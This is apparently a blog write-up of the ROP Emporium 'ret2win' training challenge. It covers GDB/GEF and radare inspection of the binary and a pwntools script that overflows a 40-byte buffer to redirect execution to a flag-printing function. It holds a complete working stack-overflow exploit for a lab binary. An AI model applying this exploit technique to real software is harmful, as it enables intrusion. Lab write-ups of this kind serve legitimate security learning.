ROP Emporium Pt. 1: ret2win
SPOILER WARNING: This page will contain potential spoilers, so consider that
before continuing
ROP Emporium is a collection of challenges designed to teach return-oriented
programming (ROP) techniques by slowly introducing new concepts and increasing
difficulty. If you're looking for a spoiler-free guide, check out the one
included on their website.
Thanks to advice from @netspooky on Mastodon, I installed GDB with GEF and
Ropper to get started.
I also made use of their cheat sheet of GDB commands that they very kindly
guided me to:
https://tmpout.sh/bggp/3/
───────────────────────────────────────────────────────────────────────────────
[ gdb ]
- Can run or attach to a program currently running on Linux
- If you're new to gdb, use gef! https://github.com/hugsy/gef
- Here are some basic commands to get you started:
$ gdb --args ./myprogram -f myfile -- Start the program with arguments
gef> starti -- Start at the first instruction
gef> stepi -- Step 1 assembly instruction
gef> break *0x400000 -- Set a breakpoint on address
0x400000
gef> continue -- Continue execution, will stop
at breakpoints
gef> vmmap -- Check memory map
gef> hexdump byte --size 256 0x400000 -- See a hex dump of bytes at a
address 0x400000
gef> p *object -- Show details of object
gef> search-pattern 0x41414141 -- Search for bytes \x41\x41\x41\x41
("AAAA") in memory
More Info:
https://hugsy.github.io/gef/
https://azeria-labs.com/debugging-with-gdb-introduction/
───────────────────────────────────────────────────────────────────────────────
The first step in solving this is to simply read through the page for the
challenge, as it includes some good information.
I found two hints to be particularly notable, the first being that “typically
you'll need 40 bytes of garbage to reach the saved return address in the
x86_64 binaries, 44 bytes in the x86 binaries and around 36 bytes in the ARMv5
& MIPS binaries”. For context, this means giving the program a string of text
N characters long before the payload in order to cause a buffer overflow and
starting writing into the return address. This same vulnerability is used
across all of the challenges on ROP Emporium. By doing this, you can modify the
program flow, which is the foundation of Return-Oriented Programming.
The second was that you can “find out how many bytes you have to construct your
chain ... using `$ ltrace ` and looking at the call to `read()`.” Doing
this gives us 56 bytes, which with the garbage characters, leaves 16 bytes for
a chain.
Now I'll start actually poking around at the binary.
I used this nm one-liner to list out the symbols in the file, filtering for
only the text section of data. Similar can be done with 'strings', or
'rabin2 -i'.
nm
──────────────────────────────────────────
$ nm ./ret2win | grep " t "
00000000004005f0 t deregister_tm_clones
0000000000400660 t __do_global_dtors_aux
0000000000400690 t frame_dummy
00000000004006e8 t pwnme
0000000000400620 t register_tm_clones
0000000000400756 t ret2win
──────────────────────────────────────────
Two symbols stand out here, which are pwnme (at 0x4006e8) and ret2win
(at 0x400756). By disassembling both, we can see that pwnme is the name of the
vulnerable function taking user input, and ret2win is the function printing out
the flag. The goal is to overflow pwnme and jump to ret2win.
radare
───────────────────────────────────────────────────────────────────────────────
[0x004006e8]> 0x400756
[0x00400756]> pdf
;-- rip:
┌ 27: sym.ret2win ();
│ 0x00400756 55 push rbp
│ 0x00400757 4889e5 mov rbp, rsp
│ 0x0040075a bf26094000 mov edi,
│ str.Well_done__Heres_your_flag:
│ ; 0x400926 ; "Well done! Here's
│ your flag:" ; const char *s
│ 0x0040075f e8ecfdffff call sym.imp.puts
│ 0x00400764 bf43094000 mov edi, str._bin_cat_flag.txt
│ ; 0x400943 ; "/bin/cat flag.txt"
│ 0x00400769 e8f2fdffff call sym.imp.system
│ 0x0040076e 90 nop
│ 0x0040076f 5d pop rbp
└ 0x00400770 c3 ret
───────────────────────────────────────────────────────────────────────────────
Learning from the pwntools wiki (a Python library recommended by
the Beginners' Guide), I threw together the beginning of a script to interact
with the binary.
exploit.py
───────────────────────────
from pwn import *
p = process('./ret2win')
payload = b'A' * 40
p.sendline(payload)
log.info(p.clean())
───────────────────────────
I also learned that pwntools offers yet another way to dump symbols from the
executable. It's not necessary in any capacity for this challenge but it makes
it possible to do some fun stuff.
exploit.py
────────────────────────────────────────────────────
e = ELF('./ret2win')
context(arch='amd64', os='linux', endian='little')
print(e.symbols)
────────────────────────────────────────────────────
This allows, not only referencing hard-coded symbols but, also looking things
up at runtime and referencing them in a slightly more abstract way. For
example, 'e.symbols['ret2win']', instead of 0x400756.
Here's one final solution that exemplifies both possible routes.
exploit.py
────────────────────────────────────────────────────
from pwn import *
p = process('./ret2win')
e = ELF('./ret2win')
context(arch='amd64', os='linux', endian='little')
payload = b'A' * 40
# Hardcoded
# payload += p64(0x400756)
# Dynamic
payload += p64(e.symbols['ret2win'])
print(payload)
p.sendline(payload)
log.info(p.clean())
────────────────────────────────────────────────────
See part 2 for more.
// END //